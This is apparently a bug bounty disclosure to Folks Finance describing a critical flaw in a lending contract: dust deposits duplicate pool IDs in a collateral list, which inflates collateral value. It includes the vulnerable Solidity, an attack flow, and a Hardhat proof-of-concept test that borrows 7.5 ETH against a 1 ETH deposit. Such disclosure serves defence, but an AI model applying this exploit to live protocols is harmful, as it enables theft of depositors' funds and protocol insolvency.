Boost _ Folks Finance 33816 - [Smart Contract - Critical] Attacker can get unlimited loan for some minimum deposit due to the incorrect calculation of user health in getLoanLiquidity

Submitted on Tue Jul 30 2024 02:49:29 GMT-0400 (Atlantic Standard Time) by @OxAnmol for Boost | Folks Finance

Report ID: #33816

Report type: Smart Contract

Report severity: Critical

Target: https://sepolia.etherscan.io/address/0x8Aac7fA5B2d0c7Ca4f1610bB43CF0d62A670Fa14

Impacts:

• Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield

• Protocol insolvency

Description

Brief/Intro

UserLoanLogic:getLoanLiquidity is used in the function isLoanOverCollateralized to calculate the user's available collateral value when they borrow or withdraw. The user's asset value depends on the length of the userLoan.colsPool[], which can be manipulated with minimal deposits. Because of this, collateral will be calculated incorrectly, leading to undesirable borrowing.

Vulnerability Details

There is no restriction on the minimal amount of collateral deposit for users. When a user deposits tokens, the fAmount is calculated based on the depositInterestIndex. If this index is greater than the user-provided amount * 1e18 (which is generally always the case), then the fAmount is rounded down to 0.

If the fAmount is zero, based on the logic of UserLoanLogic:increaseCollateral, the loanId (deposit token) is pushed to the userLoan.colsPool[].

function increaseCollateral(LoanManagerState.UserLoan storage loan, uint8 poolId, uint256 fAmount) external {
    // if the balance was previously zero, add pool to list of user loan collaterals
    if (loan.collaterals[poolId].balance == 0) loan.colPools.push(poolId);

    loan.collaterals[poolId].balance += fAmount;
}

Now, when a user’s fAmount is non-zero, it is also pushed to the colsPool[], and loan.collaterals[poolId].balance is incremented to a non-zero value.

When the user goes to borrow, their collateral value is calculated based on the balance stored in the mapping by looping through the userLoan.colsPool[]. This will inflate the value of the user's collaterals because colsPool[] may contain the same poolId multiple times, and for each poolId, the collateral value is calculated assuming they all have a non-zero amount stored in the loan.collaterals[poolId].balance mapping.

Because of this, a user can borrow a large amount and potentially drain the whole pool with this inflated collateral value for some minimal deposit.

https://github.com/Folks-Finance/folks-finance-xchain-contracts/blob/fb92deccd27359ea4f0cf0bc41394c86448c7abb/contracts/hub/logic/UserLoanLogic.sol#L283C4-L291C6

 function isLoanOverCollateralized(
        LoanManagerState.UserLoan storage loan,
        mapping(uint8 poolId => IHubPool) storage pools,
        mapping(uint8 poolId => LoanManagerState.LoanPool) storage loanPools,
        IOracleManager oracleManager
    ) internal view returns (bool) {
        DataTypes.LoanLiquidityParams memory loanLiquidity = getLoanLiquidity(loan, pools, loanPools, oracleManager);
        return loanLiquidity.effectiveCollateralValue >= loanLiquidity.effectiveBorrowValue;
    }

https://github.com/Folks-Finance/folks-finance-xchain-contracts/blob/fb92deccd27359ea4f0cf0bc41394c86448c7abb/contracts/hub/logic/UserLoanLogic.sol#L216C4-L275C6

 function getLoanLiquidity(
        LoanManagerState.UserLoan storage loan,
        mapping(uint8 => IHubPool) storage pools,
        mapping(uint8 => LoanManagerState.LoanPool) storage loanPools,
        IOracleManager oracleManager
    ) internal view returns (DataTypes.LoanLiquidityParams memory loanLiquidity) {
        // declare common variables
        uint256 effectiveValue;
        uint256 balance;
        uint8 poolId;
        uint256 poolsLength;
        DataTypes.PriceFeed memory priceFeed;

        // calc effective collateral value
        poolsLength = loan.colPools.length;
        for (uint8 i = 0; i < poolsLength; i++) {
            poolId = loan.colPools[i];

            balance = loan.collaterals[poolId].balance.toUnderlingAmount(
                pools[poolId].getUpdatedDepositInterestIndex()
            );
            priceFeed = oracleManager.processPriceFeed(poolId);
            effectiveValue += MathUtils.calcCollateralAssetLoanValue(
                balance,
                priceFeed.price,
                priceFeed.decimals,
                loanPools[poolId].collateralFactor
            );
        }
        loanLiquidity.effectiveCollateralValue = effectiveValue;

        // calc effective borrow value
        effectiveValue = 0;
        poolsLength = loan.borPools.length;
        for (uint8 i = 0; i < poolsLength; i++) {
            poolId = loan.borPools[i];

            LoanManagerState.UserLoanBorrow memory loanBorrow = loan.borrows[poolId];
            balance = loanBorrow.lastStableUpdateTimestamp > 0
                ? calcStableBorrowBalance(
                    loanBorrow.balance,
                    loanBorrow.lastInterestIndex,
                    loanBorrow.stableInterestRate,
                    block.timestamp - loanBorrow.lastStableUpdateTimestamp
                )
                : calcVariableBorrowBalance(
                    loanBorrow.balance,
                    loanBorrow.lastInterestIndex,
                    pools[poolId].getUpdatedVariableBorrowInterestIndex()
                );
            priceFeed = oracleManager.processPriceFeed(poolId);
            effectiveValue += MathUtils.calcBorrowAssetLoanValue(
                balance,
                priceFeed.price,
                priceFeed.decimals,
                loanPools[poolId].borrowFactor
            );
        }
        loanLiquidity.effectiveBorrowValue = effectiveValue;
    }

Attack flow

1. User deposit 1 wei or 0 (if the token doesn’t revert on 0 deposits) 10 times(can be any number).

2. Because of toFAmount calculation the 1 wei is rounded to 0 fAmount.
3. As the amount is 0 the poolId is pushed to userLoan.colsPool[] , this array will now contain [poolId…n] and loan.collaterals[poolId].balance is 0.

4. Now the attacker deposit some actual amount let’s say 1e18(ETH). userLoan.colsPool[] now contains [poolId…n + poolId] and loan.collaterals[poolId].balance is updated to 1e18(1 ETH).

5. user now and borrow 7.5 ETH with just 1 ETH deposit, if we only considered the 10 empty deposits.

6. This happend because in getLoanLiquidity , protocol is assuming that colsPool[] only contains unique poolId .

As you can see that attacker have a power to drain almost all the available funds in the system with minimal collateral deposit.

Impact Details

This attack can lead to the loss of all the user funds and lead protocol to insolvency.

References

https://github.com/Folks-Finance/folks-finance-xchain-contracts/blob/fb92deccd27359ea4f0cf0bc41394c86448c7abb/contracts/hub/logic/UserLoanLogic.sol#L22

https://github.com/Folks-Finance/folks-finance-xchain-contracts/blob/fb92deccd27359ea4f0cf0bc41394c86448c7abb/contracts/hub/logic/UserLoanLogic.sol#L230C7-L244C10

Proof of concept

Here is a simple POC to demonstrate how the attack flow mentioned above works.

To run this POC, create new file inside test/hub and paste the code.

import { expect } from "chai";
import { ethers } from "hardhat";
import { PANIC_CODES } from "@nomicfoundation/hardhat-chai-matchers/panic";
import { loadFixture, reset, time } from "@nomicfoundation/hardhat-toolbox/network-helpers";
import {
  LiquidationLogic__factory,
  LoanManagerLogic__factory,
  LoanManager__factory,
  LoanPoolLogic__factory,
  MockHubPool__factory,
  MockOracleManager__factory,
  RewardLogic__factory,
  UserLoanLogic__factory,
} from "../../typechain-types";
import { BYTES32_LENGTH, convertStringToBytes, getAccountIdBytes, getEmptyBytes, getRandomBytes } from "../utils/bytes";
import { SECONDS_IN_DAY, SECONDS_IN_HOUR, getLatestBlockTimestamp, getRandomInt } from "../utils/time";
import { UserLoanBorrow, UserLoanCollateral } from "./libraries/assets/loanData";
import { getNodeOutputData } from "./libraries/assets/oracleData";
import {
  calcAverageStableRate,
  calcBorrowBalance,
  calcBorrowInterestIndex,
  calcReserveCol,
  calcStableInterestRate,
  convToCollateralFAmount,
  convToRepayBorrowAmount,
  convToSeizedCollateralAmount,
  toFAmount,
  toUnderlingAmount,
} from "./utils/formulae";

describe("Unlimited Borrow", () => {
  const DEFAULT_ADMIN_ROLE = getEmptyBytes(BYTES32_LENGTH);
  const LISTING_ROLE = ethers.keccak256(convertStringToBytes("LISTING"));
  const ORACLE_ROLE = ethers.keccak256(convertStringToBytes("ORACLE"));
  const HUB_ROLE = ethers.keccak256(convertStringToBytes("HUB"));

  async function deployLoanManagerFixture() {
    const [admin, hub, user, ...unusedUsers] = await ethers.getSigners();

    // libraries
    const userLoanLogic = await new UserLoanLogic__factory(user).deploy();
    const userLoanLogicAddress = await userLoanLogic.getAddress();
    const loanPoolLogic = await new LoanPoolLogic__factory(user).deploy();
    const loanPoolLogicAddress = await loanPoolLogic.getAddress();
    const liquidationLogic = await new LiquidationLogic__factory(
      {
        ["contracts/hub/logic/UserLoanLogic.sol:UserLoanLogic"]: userLoanLogicAddress,
      },
      user
    ).deploy();
    const liquidationLogicAddress = await liquidationLogic.getAddress();
    const loanManagerLogic = await new LoanManagerLogic__factory(
      {
        ["contracts/hub/logic/UserLoanLogic.sol:UserLoanLogic"]: userLoanLogicAddress,
        ["contracts/hub/logic/LoanPoolLogic.sol:LoanPoolLogic"]: loanPoolLogicAddress,
        ["contracts/hub/logic/LiquidationLogic.sol:LiquidationLogic"]: liquidationLogicAddress,
      },
      user
    ).deploy();
    const loanManagerLogicAddress = await loanManagerLogic.getAddress();
    const rewardLogic = await new RewardLogic__factory(user).deploy();
    const rewardLogicAddress = await rewardLogic.getAddress();

    const libraries = {
      userLoanLogic,
      loanPoolLogic,
      liquidationLogic,
      loanManagerLogic,
      rewardLogic,
    };

    // deploy contract
    const oracleManager = await new MockOracleManager__factory(user).deploy();
    const loanManager = await new LoanManager__factory(
      {
        ["contracts/hub/logic/LoanManagerLogic.sol:LoanManagerLogic"]: loanManagerLogicAddress,
        ["contracts/hub/logic/RewardLogic.sol:RewardLogic"]: rewardLogicAddress,
      },
      user
    ).deploy(admin, oracleManager);

    // set hub role
    await loanManager.connect(admin).grantRole(HUB_ROLE, hub);

    // common
    const loanManagerAddress = await loanManager.getAddress();

    return {
      admin,
      hub,
      user,
      unusedUsers,
      loanManager,
      loanManagerAddress,
      oracleManager,
      libraries,
    };
  }

  async function createLoanTypeFixture() {
    const { admin, hub, user, unusedUsers, loanManager, loanManagerAddress, oracleManager, libraries } =
      await loadFixture(deployLoanManagerFixture);

    // create loan type
    const loanTypeId = 1;
    const loanTargetHealth = BigInt(1.05e4); //
    await loanManager.connect(admin).createLoanType(loanTypeId, loanTargetHealth);

    return {
      admin,
      hub,
      user,
      unusedUsers,
      loanManager,
      loanManagerAddress,
      oracleManager,
      libraries,
      loanTypeId,
      loanTargetHealth,
    };
  }

  async function addPoolsFixture() {
    const { admin, hub, user, unusedUsers, loanManager, loanManagerAddress, oracleManager, libraries, loanTypeId } =
      await loadFixture(createLoanTypeFixture);

    // prepare pools
    const usdcPoolId = 1;
    const usdcPool = await new MockHubPool__factory(user).deploy("Folks USD Coin", "fUSDC", usdcPoolId);
    const ethPoolId = 2;
    const ethPool = await new MockHubPool__factory(user).deploy("Folks Ethereum", "fETH", ethPoolId);

    // add pools
    await loanManager.connect(admin).addPool(usdcPool);
    await loanManager.connect(admin).addPool(ethPool);

    return {
      admin,
      hub,
      user,
      unusedUsers,
      loanManager,
      loanManagerAddress,
      oracleManager,
      libraries,
      loanTypeId,
      usdcPoolId,
      usdcPool,
      ethPoolId,
      ethPool,
    };
  }
  async function addPoolToLoanTypeFixture() {
    const {
      admin,
      hub,
      user,
      unusedUsers,
      loanManager,
      loanManagerAddress,
      oracleManager,
      libraries,
      loanTypeId,
      usdcPoolId,
      usdcPool,
      ethPoolId,
      ethPool,
    } = await loadFixture(addPoolsFixture);

    // add pools to loan type
    const rewardCollateralSpeed = BigInt(0);
    const rewardBorrowSpeed = BigInt(0);
    const rewardMinimumAmount = BigInt(1e18);
    const collateralCap = BigInt(20e6);
    const borrowCap = BigInt(10e6);

    const usdcCollateralFactor = BigInt(0.8e4);
    const usdcBorrowFactor = BigInt(1e4);
    const usdcLiquidationBonus = BigInt(0.04e4);
    const usdcLiquidationFee = BigInt(0.1e4);

    const ethCollateralFactor = BigInt(0.7e4);
    const ethBorrowFactor = BigInt(1e4);
    const ethLiquidationBonus = BigInt(0.06e4);
    const ethLiquidationFee = BigInt(0.1e4);

    const pools = {
      USDC: {
        poolId: usdcPoolId,
        pool: usdcPool,
        rewardCollateralSpeed,
        rewardBorrowSpeed,
        rewardMinimumAmount,
        collateralCap,
        borrowCap,
        collateralFactor: usdcCollateralFactor,
        borrowFactor: usdcBorrowFactor,
        liquidationBonus: usdcLiquidationBonus,
        liquidationFee: usdcLiquidationFee,
        tokenDecimals: BigInt(6),
      },
      ETH: {
        poolId: ethPoolId,
        pool: ethPool,
        rewardCollateralSpeed,
        rewardBorrowSpeed,
        rewardMinimumAmount,
        collateralCap,
        borrowCap,
        collateralFactor: ethCollateralFactor,
        borrowFactor: ethBorrowFactor,
        liquidationBonus: ethLiquidationBonus,
        liquidationFee: ethLiquidationFee,
        tokenDecimals: BigInt(18),
      },
    };

    await loanManager
      .connect(admin)
      .addPoolToLoanType(
        loanTypeId,
        usdcPoolId,
        usdcCollateralFactor,
        collateralCap,
        usdcBorrowFactor,
        borrowCap,
        usdcLiquidationBonus,
        usdcLiquidationFee,
        rewardCollateralSpeed,
        rewardBorrowSpeed,
        rewardMinimumAmount
      );
    await loanManager
      .connect(admin)
      .addPoolToLoanType(
        loanTypeId,
        ethPoolId,
        ethCollateralFactor,
        collateralCap,
        ethBorrowFactor,
        borrowCap,
        ethLiquidationBonus,
        ethLiquidationFee,
        rewardCollateralSpeed,
        rewardBorrowSpeed,
        rewardMinimumAmount
      );

    return {
      admin,
      hub,
      user,
      unusedUsers,
      loanManager,
      loanManagerAddress,
      oracleManager,
      libraries,
      loanTypeId,
      pools,
    };
  }
  /* ---------------------------- CREATE USER LOAN ---------------------------- */
  async function createUserLoanFixture() {
    const {
      admin,
      hub,
      user,
      unusedUsers,
      loanManager,
      loanManagerAddress,
      oracleManager,
      libraries,
      loanTypeId,
      pools,
    } = await loadFixture(addPoolToLoanTypeFixture);

    // create user loan
    const loanId = getRandomBytes(BYTES32_LENGTH);
    const accountId = getAccountIdBytes("ACCOUNT_ID");
    const loanName = getRandomBytes(BYTES32_LENGTH);
    const createUserLoan = await loanManager.connect(hub).createUserLoan(loanId, accountId, loanTypeId, loanName);

    return {
      admin,
      hub,
      user,
      unusedUsers,
      loanManager,
      loanManagerAddress,
      oracleManager,
      libraries,
      createUserLoan,
      loanTypeId,
      pools,
      loanId,
      accountId,
      loanName,
    };
  }
  /* ----------------------------- DESPOSIT 1 WEI 3 times ----------------------------- */

  async function depositZeroTenTimesOneEtherOnceFixture() {
    const {
      admin,
      hub,
      user,
      unusedUsers,
      loanManager,
      loanManagerAddress,
      oracleManager,
      libraries,
      loanTypeId,
      pools,
      loanId,
      accountId,
    } = await loadFixture(createUserLoanFixture);

    // prepare deposit
    let depositAmount = BigInt(1); // We can set any amount < depositInterestIndex

    //  function toFAmount(uint256 underlyingAmount, uint256 depositInterestIndexAtT) internal pure returns (uint256) {
    //     return underlyingAmount.mulDiv(ONE_18_DP, depositInterestIndexAtT);
    // }

    let depositFAmount = (depositAmount * BigInt(1e18)) / BigInt(1.2e18); // 0 -> base d on how the actual calculation in done - ref above function from mathUtils

    const depositInterestIndex = BigInt(1.2e18);
    const ethPrice = BigInt(3000e18);
    await pools.ETH.pool.setDepositPoolParams({
      fAmount: depositFAmount,
      depositInterestIndex,
      priceFeed: { price: ethPrice, decimals: pools.ETH.tokenDecimals },
    });
    /* --------------------------- DEPOSIT 0 TEN TIMES -------------------------- */
    for (let i = 0; i < 10; i++) {
      await loanManager.connect(hub).deposit(loanId, accountId, pools.ETH.poolId, depositAmount);
    }

    /* -------------------- userLoans.colsPool = [ETH, ETH, ETH, ETH, ETH, ETH, ETH, ETH, ETH, ETH] -------------------- */

    /* ----------------------------- DEPOSIT 1 ETHER ---------------------------- */

    depositAmount = BigInt(1e18); // 1 ETHER
    depositFAmount = depositAmount;
    await pools.ETH.pool.setDepositPoolParams({
      fAmount: depositFAmount,
      depositInterestIndex,
      priceFeed: { price: ethPrice, decimals: pools.ETH.tokenDecimals },
    });

    // deposit into eth pool
    const depositOneEther = await loanManager.connect(hub).deposit(loanId, accountId, pools.ETH.poolId, depositAmount);

    return {
      admin,
      hub,
      user,
      unusedUsers,
      loanManager,
      loanManagerAddress,
      oracleManager,
      libraries,
      depositOneEther,
      loanTypeId,
      pools,
      loanId,
      accountId,
      depositAmount,
      depositFAmount,
    };
  }

  after(async () => {
    await reset();
  });

  describe("Attack", () => {
    it.only("Should perform a fantastic attack to drain all the collateral from system", async () => {
      const {
        admin,
        hub,
        user,
        unusedUsers,
        loanManager,
        loanManagerAddress,
        oracleManager,
        libraries,
        depositOneEther,
        loanTypeId,
        pools,
        loanId,
        accountId,
        depositAmount,
        depositFAmount,
      } = await loadFixture(depositZeroTenTimesOneEtherOnceFixture);

      // set prices
      const ethNodeOutputData = getNodeOutputData(BigInt(3000e18));
      await oracleManager.setNodeOutput(pools.ETH.poolId, pools.ETH.tokenDecimals, ethNodeOutputData);

      // prepare borrow
      const variableInterestIndex = BigInt(1.2e18); // No interest
      const stableInterestRate = BigInt(0);
      await pools.ETH.pool.setBorrowPoolParams({ variableInterestIndex, stableInterestRate });
      await pools.ETH.pool.setUpdatedVariableBorrowInterestIndex(variableInterestIndex);

      /* ----------------------------- BORROW 7.5 ETH ----------------------------- */

      const borrowAmount = BigInt(7.5e18);
      const borrow = await loanManager
        .connect(hub)
        .borrow(loanId, accountId, pools.ETH.poolId, borrowAmount, BigInt(0));
    });
  });
});